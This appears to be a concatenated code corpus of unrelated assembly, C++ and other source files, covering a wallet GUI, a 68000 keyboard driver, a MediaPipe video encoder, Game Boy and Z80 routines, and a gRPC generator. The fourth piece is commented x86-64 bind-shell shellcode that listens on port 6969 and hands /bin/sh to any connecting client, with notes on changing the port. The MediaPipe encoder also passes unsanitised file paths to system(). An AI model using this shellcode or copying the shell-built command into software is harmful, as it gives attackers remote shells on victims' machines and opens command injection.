message(tr("URI handling"), tr("URI can not be parsed! This can be caused by an invalid Calm address or malformed URI parameters."),
CClientUIInterface::ICON_WARNING);
}
event->acceptProposedAction();
}
bool BitcoinGUI::eventFilter(QObject *object, QEvent *event)
{
// Catch status tip events
if (event->type() == QEvent::StatusTip)
{
// Prevent adding text from setStatusTip(), if we currently use the status bar for displaying other stuff
if (progressBarLabel->isVisible() || progressBar->isVisible())
return true;
}
return QMainWindow::eventFilter(object, event);
}
void BitcoinGUI::handleURI(QString strURI)
{
// URI has to be valid
if (!walletFrame->handleURI(strURI))
message(tr("URI handling"), tr("URI can not be parsed! This can be caused by an invalid Calm address or malformed URI parameters."),
CClientUIInterface::ICON_WARNING);
}
void BitcoinGUI::setEncryptionStatus(int status)
{
switch(status)
{
case WalletModel::Unencrypted:
labelEncryptionIcon->hide();
encryptWalletAction->setChecked(false);
changePassphraseAction->setEnabled(false);
encryptWalletAction->setEnabled(true);
break;
case WalletModel::Unlocked:
labelEncryptionIcon->show();
labelEncryptionIcon->setPixmap(QIcon(":/icons/lock_open").pixmap(STATUSBAR_ICONSIZE,STATUSBAR_ICONSIZE));
labelEncryptionIcon->setToolTip(tr("Wallet is <b>encrypted</b> and currently <b>unlocked</b>"));
encryptWalletAction->setChecked(true);
changePassphraseAction->setEnabled(true);
encryptWalletAction->setEnabled(false); // TODO: decrypt currently not supported
break;
case WalletModel::Locked:
labelEncryptionIcon->show();
labelEncryptionIcon->setPixmap(QIcon(":/icons/lock_closed").pixmap(STATUSBAR_ICONSIZE,STATUSBAR_ICONSIZE));
labelEncryptionIcon->setToolTip(tr("Wallet is <b>encrypted</b> and currently <b>locked</b>"));
encryptWalletAction->setChecked(true);
changePassphraseAction->setEnabled(true);
encryptWalletAction->setEnabled(false); // TODO: decrypt currently not supported
break;
}
}
void BitcoinGUI::showNormalIfMinimized(bool fToggleHidden)
{
// activateWindow() (sometimes) helps with keyboard focus on Windows
if (isHidden())
{
show();
activateWindow();
}
else if (isMinimized())
{
showNormal();
activateWindow();
}
else if (GUIUtil::isObscured(this))
{
raise();
activateWindow();
}
else if(fToggleHidden)
hide();
}
void BitcoinGUI::toggleHidden()
{
showNormalIfMinimized(true);
}
void BitcoinGUI::detectShutdown()
{
if (ShutdownRequested())
QMetaObject::invokeMethod(QCoreApplication::instance(), "quit", Qt::QueuedConnection);
}
|
; A059153: a(n) = 2^(n+2)*(2^(n+1)-1).
; 4,24,112,480,1984,8064,32512,130560,523264,2095104,8384512,33546240,134201344,536838144,2147418112,8589803520,34359476224,137438429184,549754765312,2199021158400,8796088827904,35184363700224,140737471578112,562949919866880,2251799746576384,9007199120523264,36028796750528512,144115187538984960,576460751229681664,2305843007066210304,9223372032559808512,36893488138829168640,147573952572496543744,590295810324345913344,2361183241366103130112,9444732965601851473920,37778931862682283802624,151115727451278891024384,604462909806215075725312,2417851639227059326156800,9671406556912635351138304,38685626227659337497575424,154742504910654942176346112,618970019642654953077473280,2475880078570690181054070784,9903520314282901461704638464,39614081257131887321795264512,158456325028528112237134479360,633825300114113574848444760064,2535301200456456551193592725504,10141204801825830708373998272512,40564819207303331840695247831040,162259276829213345377179500806144,649037107316853417537515022188544,2596148429267413742207654126682112,10384593717069655112945804582584320,41538374868278620740013594482049024,166153499473114483536515130231619584,664613997892457935298982025533325312
add $0,1
mov $1,2
pow $1,$0
bin $1,2
mul $1,4
mov $0,$1
|
; SMSQ general KBD polling routine v1.01 1988 / 1993 / 2000 Tony Tebby
; 2003 Marcel Kilgus
; 2000-06-24 1.01 Handles left and right shift key separately.
; 2006-09-28 1.02 Allows normal code for CAPS + SFHT/CTRL/ALT
; This takes a stream of keyboard codes from the internal keyboard queue.
; These codes have bit 7 set for key up and special escape codes.
; It also handles 'button 3' keyboard stuffing for combined mouse kbd drivers.
section kbd
xdef kbd_poll
xref kbd_krtab
xref kbd_atab
xref cv_upcas
xref ioq_test
xref ioq_gbyt
xref ioq_pbyt
xref pt_button3
xref smsq_sreset
xref smsq_hreset
include dev8_keys_sys
include dev8_keys_chn
include dev8_keys_con
include dev8_keys_k
include dev8_keys_qu
include dev8_smsq_kbd_keys
include dev8_mac_assert
kbd_poll
assert kb_err,kb_b3
tst.b kb_err(a3) ; errors? (signalled by interrupt server)
beq.s kbp_kq ; ... no
blt.s kbp_b3 ; ... not really - it is a button 3
subq.b #1,kb_err(a3) ; wait a little bit
bra.s kbp_rts
kbp_b3
jsr pt_button3 ; do a button 3
sf kb_b3(a3) ; ... and clear it
kbp_kq
move.l sys_ckyq(a6),d6 ; any keyboard queue?
beq.s kbp_rts
move.l kb_queue(a3),a2
jsr ioq_gbyt
beq.s kbp_do ; code in queue
move.w kb_lcod(a3),d5 ; key still down?
beq.s kbp_nextk ; ... no
subq.w #1,sys_rcnt(a6) ; count down
bgt.s kbp_nextk
move.l d6,a2 ; anything in queue?
jsr ioq_test
beq.s kbp_nextk ; ... something there
move.w sys_rtim(a6),sys_rcnt(a6) ; auto repeat time
move.w sys_lchr(a6),d1 ; old char
st kb_arep(a3) ; auto repeat!!
bra.l kbp_send ; ... do it
kbp_rts
rts
kbp_nrep
move.w #$7fff,sys_rcnt(a6) ; do not auto repeat (very often!)
kbp_nextk
kbp_again
move.l kb_queue(a3),a2
jsr ioq_gbyt
bne.s kbp_rts ; no key available
kbp_do
andi.w #$ff,d1
move.w d1,d2 ; d1 = key code and key state
andi.w #$7f,d2 ; d2 = key code only
lea kbd_krtab,a1 ; get base of keyrow table
move.b (a1,d2.w),d0 ; get bit/row
move.w d0,d3
andi.w #$f,d0 ; row only
lsr.b #4,d3
btst #kb..up,d1 ; key up?
bne.s kbp_keyu
bset d3,kb_krwem(a3,d0.w) ; ... no, key down
bra.s kbp_action
kbp_keyu
bclr d3,kb_krwem(a3,d0.w) ; key up
kbp_action
lea kbd_atab,a1
moveq #0,d0
move.b (a1,d2.w),d0 ; action
add.w kbp_act(pc,d0.w),d0
jmp kbp_act(pc,d0.w)
kbp_act
dc.w kbp_norm-*
dc.w kbp_shiftl-*
dc.w kbp_shiftr-*
dc.w kbp_ctrll-*
dc.w kbp_ctrlr-*
dc.w kbp_alt-*
dc.w kbp_altgr-*
dc.w kbp_caps-*
dc.w kbp_slock-*
dc.w kbp_nrep-*
dc.w kbp_sys-*
dc.w kbp_undo-*
dc.w kbp_break-*
dc.w kbp_tab-*
;---------------------------------------------------------------------
; shift keys
kbp_shiftl
moveq #kb..shfl,d2 ; left shift key
bra.s kbp_shift
kbp_shiftr
moveq #kb..shfr,d2 ; right shift key
kbp_shift
moveq #kb..shft,d3 ; combined status
moveq #kb.shftb,d0
clr.b sys_dfrz(a6) ; unfreeze display
bra.s kbp_twokeys
kbp_ctrll
moveq #kb..ctll,d2 ; left ctrl key
bra.s kbp_ctrl
kbp_ctrlr
moveq #kb..ctlr,d2 ; right ctrl key
kbp_ctrl
moveq #kb..ctrl,d3 ; combined status
moveq #kb.ctrlb,d0
kbp_twokeys ; handler for SHIFT and CTRL
assert kb..up,7
tst.b d1 ; key up?
bmi.s kbp_twokeyup ; ... yes
bset d2,kb_stat(a3)
bra.s kbp_sspec ; key pressed -> set combined status
kbp_twokeyup
bclr d2,kb_stat(a3)
and.b kb_stat(a3),d0 ; both keys up?
beq.s kbp_cspec ; ... yes, clear combined status
bra kbp_again
kbp_alt
moveq #kb..alt,d3 ; alt key
bra.s kbp_spec
kbp_altgr
moveq #kb..agr,d3 ; alt gr key
kbp_spec
assert kb..up,7
tst.b d1 ; key up?
bmi.s kbp_cspec ; ... yes
kbp_sspec
bset d3,kb_stat(a3)
bra.s kbp_stab
kbp_cspec
bclr d3,kb_stat(a3)
kbp_stab
move.w #kb.gcs,d3 ; table is alt gr control and shift dep
and.b kb_stat(a3),d3
bmi.s kbp_agtab
lsl.w #kb..tabs,d3 ; set table pointer
move.w d3,kb_tab(a3)
bra kbp_again
kbp_agtab
move.w #4<<kb..tabs,kb_tab(a3)
bra kbp_again
; capslock
kbp_caps
assert kb..up,7
; Added 1.02
tst.w kb_stat(a3) ; If any of SHIFT, CONTROL, ALT . .
bne kbp_norm ; . . set a normal code
; End of addition
tst.b d1 ; key up?
bmi kbp_again ; ... yes
not.b sys_caps(a6)
move.l sys_capr(a6),d0 ; keyboard intercept routine?
ble.s kbp_capsold ; ... no, try old style
move.l d0,a1
jsr (a1) ; ... yes, do it
bra kbp_nrep
kbp_capsold
tst.l sys_csub(a6) ; capslock routine?
beq kbp_nrep ; ... no
jsr sys_csub(a6) ; ... yes, do it
bra kbp_nrep
;-----------------------------------------------------------
; special action keys
; freeze screen
kbp_slock
bsr.l kbp_keystroke ; check for keystroke
kbp_freezz
btst #sys..ssf,sys_klock(a6) ; suppressed?
bne kbp_nrep
not.b sys_dfrz(a6) ; ... toggle screen frozen flag
bra kbp_nrep
; system request
kbp_sys
bsr.l kbp_keystroke ; check for keystroke
bra kbp_nrep ; sys req ignored
; undo / break hard reset
kbp_undo
kbp_break
bsr.l kbp_keystroke ; check for keystroke
moveq #kb.acs,d0
and.b kb_stat(a3),d0
cmpi.b #kb.acs,d0 ; CTRL ALT SHIFT?
beq.s kbp_hreset ; ... yes, do hard reset
btst #kb..ctrl,kb_stat(a3) ; CTRL?
beq.l kbp_dokey ; ... no, do normal key
kbp_dobreak
btst #sys..sbk,sys_klock(a6) ; suppressed?
bne kbp_nrep
tas sys_brk(a6) ; clean break
bra kbp_nrep
kbp_hreset
btst #sys..shr,sys_klock(a6) ; hard reset suppressed?
bne kbp_nrep
jsr smsq_hreset
bra kbp_nrep
; tab / soft reset
kbp_tab
bsr.s kbp_keystroke ; check for keystroke
moveq #kb.acs,d0
and.b kb_stat(a3),d0
cmpi.b #kb.acs,d0 ; CTRL ALT SHIFT?
bne.l kbp_dokey ; ... no, normal key
kbp_sreset
btst #sys..ssr,sys_klock(a6) ; soft reset suppressed?
bne kbp_nrep
jsr smsq_sreset
bra kbp_nrep
; switch keyboard queue - a bit odd because it needs to be QDOS compatible
kbp_swt
btst #sys..ssq,sys_klock(a6) ; suppressed?
bne kbp_nrep
move.l (a2),d2 ; keep next queue
move.l d2,a2
bra.s kbp_ckq
kbp_nxq
move.l (a2),a2 ; next queue
cmp.l a2,d2 ; same as saved queue?
beq.s kbp_setq
kbp_ckq
tst.b sd_curf-sd_keyq(a2) ; cursor enabled?
bne.s kbp_setq ; ... yes, go to it
tst.b chn_stat-sd_keyq(a2) ; waiting?
beq.s kbp_nxq ; ... no
cmp.b #4,chn_actn-sd_keyq(a2) ; input?
bgt.s kbp_nxq ; ... no
kbp_setq
move.l a2,sys_ckyq(a6) ; reset keyboard queue
move.l a2,d6
move.w #$7fff,sys_rcnt(a6) ; do not auto repeat (very often!)
rts ; do not try again straight away
;------------------------------------------------------
; Suppress silly keyboard repeat for normal and special keystrokes
kbp_keystroke
bclr #kb..up,d1 ; key up?
beq.s kbp_kdown ; ... no, down
cmp.w kb_lcod(a3),d1 ; same code as last down?
bne.s kbp_kjunk
clr.w kb_lcod(a3)
tst.b kb_arep(a3) ; autorepeated character?
beq.s kbp_kjunk ; ... no
move.l d6,a2
move.l qu_nexti(a2),qu_nexto(a2) ; ... yes, clear queue
kbp_kjunk
addq.l #4,sp ; skip return
bra kbp_again ; and do next key
kbp_kdown
cmp.w kb_lcod(a3),d1 ; same key?
beq.s kbp_kjunk ; ... yes, ignore it
move.w d1,kb_lcod(a3) ; key down
clr.b kb_arep(a3) ; not auto-repeated
move.w sys_rdel(a6),sys_rcnt(a6) ; auto repeat delay
rts
;------------------------------------------------------
; process normal keystrokes
kbp_norm ; normal keystroke
bsr kbp_keystroke ; check for keystroke
kbp_dokey
move.l kb_ktab(a3),a1 ; key translate table
add.w kb_tab(a3),a1 ; the right one
move.l d6,a2 ; keyboard queue
move.b (a1,d1.w),d1 ; get QL key code
move.l kb_nstab(a3),a1 ; is it a non-spacing ident?
moveq #0,d0
move.b (a1,d1.w),d0
beq.s kbp_cknsid ; ... no, check if it was already?
move.w d0,kb_nsid(a3) ; ... yes, save it
bra.l kbp_nrep ; ... and throw away
kbp_cknsid
move.w kb_nsid(a3),d0 ; have we a non-spacing ident?
beq.s kbp_ckesc ; ... no
clr.w kb_nsid(a3) ; ... not now
add.w #$100,a1 ; chars to modify
kbp_nsloop
move.b (a1)+,d2
beq.s kbp_ckesc ; end of list
cmp.b d2,d1 ; this one?
bne.s kbp_nsloop ; ... no
move.b -1(a1,d0.w),d1 ; ... yes, real character
bra.s kbp_ckalt
kbp_ckesc
cmpi.b #k.esc,d1 ; do not auto repeat ESC key
bne.s kbp_ckalt
move.w #$7fff,sys_rcnt(a6) ; do not auto repeat (very often!)
kbp_ckalt
btst #kb..alt,kb_stat(a3) ; alt
beq.s kbp_case ; no, check special cases
clr.b sys_dfrz(a6) ; unfreeze screen
cmpi.b #k.alt1l,d1 ; below min altkey+1?
blo.s kbp_alt2 ; ... yes
cmpi.b #k.alt1h,d1 ; above same?
bhi.s kbp_alt2 ; ... yes
addq.b #1,d1 ; ... no, add one
bra.s kbp_send ; done
kbp_alt2 ; send two bytes
ori.w #$ff00,d1 ; $ff/char
cmp.b #'S',sys_idnt(a6) ; SMSQ/E type?
beq.s kbp_send
bra.s kbp_docaps
kbp_case
btst #kb..ctrl,kb_stat(a3) ; control?
beq.s kbp_docaps ; ... no do capslock if set
cmpi.b #k.freez,d1 ; is it freez?
beq kbp_freezz
cmp.w sys_swtc(a6),d1 ; is it switch?
beq kbp_swt
cmpi.b #k.break,d1 ; is it break?
beq kbp_dobreak ; ... yes, do it
kbp_docaps
clr.b sys_dfrz(a6) ; unfreeze screen
tst.w sys_caps(a6) ; check capslock
beq.s kbp_send ; ... not caps
move.w d1,d2 ; save altkey flag
jsr cv_upcas ; upper case it
clr.b d2
or.w d2,d1 ; and restore altkey flag
kbp_send
move.w d1,sys_lchr(a6) ; save last char(s)
beq kbp_again ; no character at all
bpl.s kbp_pbyt ; just one
move.w d1,d5 ; $ff/char, save character
jsr ioq_test ; check room
cmpi.w #2,d2 ; at least 2?
blt kbp_again ; ... no
moveq #-1,d1 ; ... yes, send $ff
jsr ioq_pbyt
move.w d5,d1 ; and carry on
kbp_pbyt
jsr ioq_pbyt ; put character in
bra kbp_again
end
|
; non-NULL shellcode running /bin/sh and listening on port 6969
; -> change the port using Python:
; $ python -c "import socket; print(hex(socket.htons(PORT)))"
global _start
section .text
_start:
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; int sock = socket(AF_INET, SOCK_STREAM, 0)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push byte 0x29
pop rax ; rax = socket system call number
push byte 0x2
pop rdi ; rdi = AF_INET
push byte 0x1
pop rsi ; rsi = SOCK_STREAM
xor rdx, rdx ; rdx = 0
syscall
xchg rdi, rax ; store file descriptor in rdi
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; struct sockaddr_in address
; address.sin_family = AF_INET
; address.sin_port = htons(PORT)
; address.sin_addr.s_addr = INADDR_ANY
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push rdx
push rdx ; create 16 byte 0 buffer on stack
mov byte [rsp], 0x2 ; store AF_INET at address.sin_family
mov word [rsp + 2], 0x391b ; store PORT at address.sin_port
mov rsi, rsp ; rsi = &address on the stack
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; bind(sock, (struct sockaddr *)&address, sizeof(address))
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push byte 0x31
pop rax ; rax = bind system call number
push byte 0x10
pop rdx ; rdx = sizeof(struct sockaddr_in)
syscall ; rdi = socket file descriptor and rsi = &(address)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; listen(sock, 0)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push byte 0x32
pop rax ; rax = listen system call number
xor rsi, rsi ; rsi = 0
syscall ; rdi still holds socket file descriptor
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; int new_sock = accept(sock, NULL, NULL)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xor dl, dl ; zero rdx
push byte 0x2b
pop rax ; rax = accept system call number
syscall ; rsi = 0 still
xchg rdi, rax ; store client socket (new_sock) in rdi
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; dup(new_sock, 0)
; dup(new_sock, 1)
; dup(new_sock, 2)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push byte 0x2
pop rsi ; rsi = STDERR file descriptor number
dup:
push byte 0x21
pop rax ; rax = dup2 systemcall number
syscall ; rdi still holds client socket file descriptor
dec rsi ; cycle through STDIN and STDOUT descriptors
jns dup
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; execve("/bin/sh", NULL, NULL)
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
push rdx
mov rbx, 0x68732f6e69622f2f ; "//bin/sh" in reverse order
push rbx
mov rdi, rsp ; set rdi = address of string on stack
push byte 0x3b
pop rax ; rax = execve system call number
syscall
|
// Copyright 2019 The MediaPipe Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <stdlib.h>
#include <memory>
#include <string>
#include <vector>
#include "absl/strings/str_split.h"
#include "mediapipe/calculators/video/opencv_video_encoder_calculator.pb.h"
#include "mediapipe/framework/calculator_framework.h"
#include "mediapipe/framework/formats/image_frame.h"
#include "mediapipe/framework/formats/image_frame_opencv.h"
#include "mediapipe/framework/formats/video_stream_header.h"
#include "mediapipe/framework/port/file_helpers.h"
#include "mediapipe/framework/port/opencv_highgui_inc.h"
#include "mediapipe/framework/port/opencv_imgproc_inc.h"
#include "mediapipe/framework/port/opencv_video_inc.h"
#include "mediapipe/framework/port/ret_check.h"
#include "mediapipe/framework/port/source_location.h"
#include "mediapipe/framework/port/status.h"
#include "mediapipe/framework/port/status_builder.h"
#include "mediapipe/framework/tool/status_util.h"
namespace mediapipe {
// Encodes the input video stream and produces a media file.
// The media file can be output to the output_file_path specified as a side
// packet. Currently, the calculator only supports one video stream (in
// mediapipe::ImageFrame).
//
// Example config:
// node {
// calculator: "OpenCvVideoEncoderCalculator"
// input_stream: "VIDEO:video"
// input_stream: "VIDEO_PRESTREAM:video_header"
// input_side_packet: "OUTPUT_FILE_PATH:output_file_path"
// node_options {
// [type.googleapis.com/mediapipe.OpenCvVideoEncoderCalculatorOptions]: {
// codec: "avc1"
// video_format: "mp4"
// }
// }
// }
//
// OpenCV's VideoWriter doesn't encode audio. If an input side packet with tag
// "AUDIO_FILE_PATH" is specified, the calculator will call FFmpeg binary to
// attach the audio file to the video as the last step in Close().
//
// Example config:
// node {
// calculator: "OpenCvVideoEncoderCalculator"
// input_stream: "VIDEO:video"
// input_stream: "VIDEO_PRESTREAM:video_header"
// input_side_packet: "OUTPUT_FILE_PATH:output_file_path"
// input_side_packet: "AUDIO_FILE_PATH:audio_path"
// node_options {
// [type.googleapis.com/mediapipe.OpenCvVideoEncoderCalculatorOptions]: {
// codec: "avc1"
// video_format: "mp4"
// }
// }
// }
//
class OpenCvVideoEncoderCalculator : public CalculatorBase {
public:
static mediapipe::Status GetContract(CalculatorContract* cc);
mediapipe::Status Open(CalculatorContext* cc) override;
mediapipe::Status Process(CalculatorContext* cc) override;
mediapipe::Status Close(CalculatorContext* cc) override;
private:
mediapipe::Status SetUpVideoWriter(float frame_rate, int width, int height);
std::string output_file_path_;
int four_cc_;
std::unique_ptr<cv::VideoWriter> writer_;
};
mediapipe::Status OpenCvVideoEncoderCalculator::GetContract(
CalculatorContract* cc) {
RET_CHECK(cc->Inputs().HasTag("VIDEO"));
cc->Inputs().Tag("VIDEO").Set<ImageFrame>();
if (cc->Inputs().HasTag("VIDEO_PRESTREAM")) {
cc->Inputs().Tag("VIDEO_PRESTREAM").Set<VideoHeader>();
}
RET_CHECK(cc->InputSidePackets().HasTag("OUTPUT_FILE_PATH"));
cc->InputSidePackets().Tag("OUTPUT_FILE_PATH").Set<std::string>();
if (cc->InputSidePackets().HasTag("AUDIO_FILE_PATH")) {
cc->InputSidePackets().Tag("AUDIO_FILE_PATH").Set<std::string>();
}
return mediapipe::OkStatus();
}
mediapipe::Status OpenCvVideoEncoderCalculator::Open(CalculatorContext* cc) {
OpenCvVideoEncoderCalculatorOptions options =
cc->Options<OpenCvVideoEncoderCalculatorOptions>();
RET_CHECK(options.has_codec() && options.codec().length() == 4)
<< "A 4-character codec code must be specified in "
"OpenCvVideoEncoderCalculatorOptions";
const char* codec_array = options.codec().c_str();
four_cc_ = mediapipe::fourcc(codec_array[0], codec_array[1], codec_array[2],
codec_array[3]);
RET_CHECK(!options.video_format().empty())
<< "Video format must be specified in "
"OpenCvVideoEncoderCalculatorOptions";
output_file_path_ =
cc->InputSidePackets().Tag("OUTPUT_FILE_PATH").Get<std::string>();
std::vector<std::string> splited_file_path =
absl::StrSplit(output_file_path_, '.');
RET_CHECK(splited_file_path.size() >= 2 &&
splited_file_path[splited_file_path.size() - 1] ==
options.video_format())
<< "The output file path is invalid.";
// If the video header will be available, the video metadata will be fetched
// from the video header directly. The calculator will receive the video
// header packet at timestamp prestream.
if (cc->Inputs().HasTag("VIDEO_PRESTREAM")) {
return mediapipe::OkStatus();
}
return SetUpVideoWriter(options.fps(), options.width(), options.height());
}
mediapipe::Status OpenCvVideoEncoderCalculator::Process(CalculatorContext* cc) {
if (cc->InputTimestamp() == Timestamp::PreStream()) {
const VideoHeader& video_header =
cc->Inputs().Tag("VIDEO_PRESTREAM").Get<VideoHeader>();
return SetUpVideoWriter(video_header.frame_rate, video_header.width,
video_header.height);
}
const ImageFrame& image_frame =
cc->Inputs().Tag("VIDEO").Value().Get<ImageFrame>();
ImageFormat::Format format = image_frame.Format();
cv::Mat frame;
if (format == ImageFormat::GRAY8) {
frame = formats::MatView(&image_frame);
if (frame.empty()) {
return mediapipe::InvalidArgumentErrorBuilder(MEDIAPIPE_LOC)
<< "Receive empty frame at timestamp "
<< cc->Inputs().Tag("VIDEO").Value().Timestamp()
<< " in OpenCvVideoEncoderCalculator::Process()";
}
} else {
cv::Mat tmp_frame = formats::MatView(&image_frame);
if (tmp_frame.empty()) {
return mediapipe::InvalidArgumentErrorBuilder(MEDIAPIPE_LOC)
<< "Receive empty frame at timestamp "
<< cc->Inputs().Tag("VIDEO").Value().Timestamp()
<< " in OpenCvVideoEncoderCalculator::Process()";
}
if (format == ImageFormat::SRGB) {
cv::cvtColor(tmp_frame, frame, cv::COLOR_RGB2BGR);
} else if (format == ImageFormat::SRGBA) {
cv::cvtColor(tmp_frame, frame, cv::COLOR_RGBA2BGR);
} else {
return mediapipe::InvalidArgumentErrorBuilder(MEDIAPIPE_LOC)
<< "Unsupported image format: " << format;
}
}
writer_->write(frame);
return mediapipe::OkStatus();
}
mediapipe::Status OpenCvVideoEncoderCalculator::Close(CalculatorContext* cc) {
if (writer_ && writer_->isOpened()) {
writer_->release();
}
if (cc->InputSidePackets().HasTag("AUDIO_FILE_PATH")) {
#ifdef HAVE_FFMPEG
const std::string& audio_file_path =
cc->InputSidePackets().Tag("AUDIO_FILE_PATH").Get<std::string>();
if (audio_file_path.empty()) {
LOG(WARNING) << "OpenCvVideoEncoderCalculator isn't able to attach the "
"audio tracks to the generated video because the audio "
"file path is not specified.";
} else {
// A temp output file is needed because FFmpeg can't do in-place editing.
const std::string temp_file_path = std::tmpnam(nullptr);
system(absl::StrCat("mv ", output_file_path_, " ", temp_file_path,
"&& ffmpeg -nostats -loglevel 0 -i ", temp_file_path,
" -i ", audio_file_path,
" -c copy -map 0:v:0 -map 1:a:0 ", output_file_path_,
"&& rm ", temp_file_path)
.c_str());
}
#else
return mediapipe::InvalidArgumentErrorBuilder(MEDIAPIPE_LOC)
<< "OpenCVVideoEncoderCalculator can't attach the audio tracks to "
"the video because FFmpeg is not installed. Please remove "
"input_side_packet: \"AUDIO_FILE_PATH\" from the node "
"config.";
#endif
}
return mediapipe::OkStatus();
}
mediapipe::Status OpenCvVideoEncoderCalculator::SetUpVideoWriter(
float frame_rate, int width, int height) {
RET_CHECK(frame_rate > 0 && width > 0 && height > 0)
<< "Invalid video metadata: frame_rate=" << frame_rate
<< ", width=" << width << ", height=" << height;
writer_ = absl::make_unique<cv::VideoWriter>(
output_file_path_, four_cc_, frame_rate, cv::Size(width, height));
if (!writer_->isOpened()) {
return mediapipe::InvalidArgumentErrorBuilder(MEDIAPIPE_LOC)
<< "Fail to open file at " << output_file_path_;
}
return mediapipe::OkStatus();
}
REGISTER_CALCULATOR(OpenCvVideoEncoderCalculator);
} // namespace mediapipe
|
SECTION code_clib
PUBLIC asm_set_cursor_state
INCLUDE "mc6845.inc"
; Set the state of the hardware cursor
;
; Entry: l = cursor state:
; 0x00 = always on
; 0x20 = off
; 0x40 = fast blink
; 0x60 = slow blink
;
; Uses: af, l
asm_set_cursor_state:
ld a,0x0a ; start_ras
out (address_w),a
in a,(register_r)
; Read the register 0x0a
and @00011111
or l
ld l,a
ld a,0x0a
out (address_w),a
ld a,l
out (register_w),a
ret
|
SECTION code_fp_am9511
PUBLIC ___fs2slong_callee
EXTERN cam32_sdcc___fs2slong_callee
defc ___fs2slong_callee = cam32_sdcc___fs2slong_callee
|
INCLUDE "defines.asm"
SECTION "Intro", ROMX
Intro::
ld hl, vSpriteTile
ld de, SpriteTile
ld c, SpriteTile.end - SpriteTile
call LCDMemcpySmall
ld hl, wShadowOAM
ld a, 16 + 16
ld [hli], a
ld [hli], a
xor a
ld [hli], a
ld [hli], a
ld a, h
ld [hOAMHigh], a
ld a, LCDCF_ON | LCDCF_OBJON | LCDCF_BGON
ld [hLCDC], a
.coreLoop
call WaitVBlank
ld hl, wShadowOAM
ld a, [hl]
inc a
ld [hli], a
ld [hl], a
ld a, h
ld [hOAMHigh], a
jr .coreLoop
SECTION "1 Tile Sprite", ROM0
SpriteTile:
INCBIN "res/sprite.2bpp"
.end
SECTION UNION "8000 tile block", VRAM[$8000]
vSpriteTile:
ds 16
|
/*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <map>
#include <set>
#include <sstream>
#include "src/compiler/config.h"
#include "src/compiler/objective_c_generator.h"
#include "src/compiler/objective_c_generator_helpers.h"
#include <google/protobuf/compiler/objectivec/objectivec_helpers.h>
using ::google::protobuf::compiler::objectivec::ClassName;
using ::grpc::protobuf::FileDescriptor;
using ::grpc::protobuf::FileDescriptor;
using ::grpc::protobuf::MethodDescriptor;
using ::grpc::protobuf::ServiceDescriptor;
using ::grpc::protobuf::io::Printer;
using ::std::map;
using ::std::set;
namespace grpc_objective_c_generator {
namespace {
void PrintProtoRpcDeclarationAsPragma(
Printer* printer, const MethodDescriptor* method,
map< ::grpc::string, ::grpc::string> vars) {
vars["client_stream"] = method->client_streaming() ? "stream " : "";
vars["server_stream"] = method->server_streaming() ? "stream " : "";
printer->Print(vars,
"#pragma mark $method_name$($client_stream$$request_type$)"
" returns ($server_stream$$response_type$)\n\n");
}
template <typename DescriptorType>
static void PrintAllComments(const DescriptorType* desc, Printer* printer) {
std::vector<grpc::string> comments;
grpc_generator::GetComment(desc, grpc_generator::COMMENTTYPE_LEADING_DETACHED,
&comments);
grpc_generator::GetComment(desc, grpc_generator::COMMENTTYPE_LEADING,
&comments);
grpc_generator::GetComment(desc, grpc_generator::COMMENTTYPE_TRAILING,
&comments);
if (comments.empty()) {
return;
}
printer->Print("/**\n");
for (auto it = comments.begin(); it != comments.end(); ++it) {
printer->Print(" * ");
size_t start_pos = it->find_first_not_of(' ');
if (start_pos != grpc::string::npos) {
printer->PrintRaw(it->c_str() + start_pos);
}
printer->Print("\n");
}
printer->Print(" */\n");
}
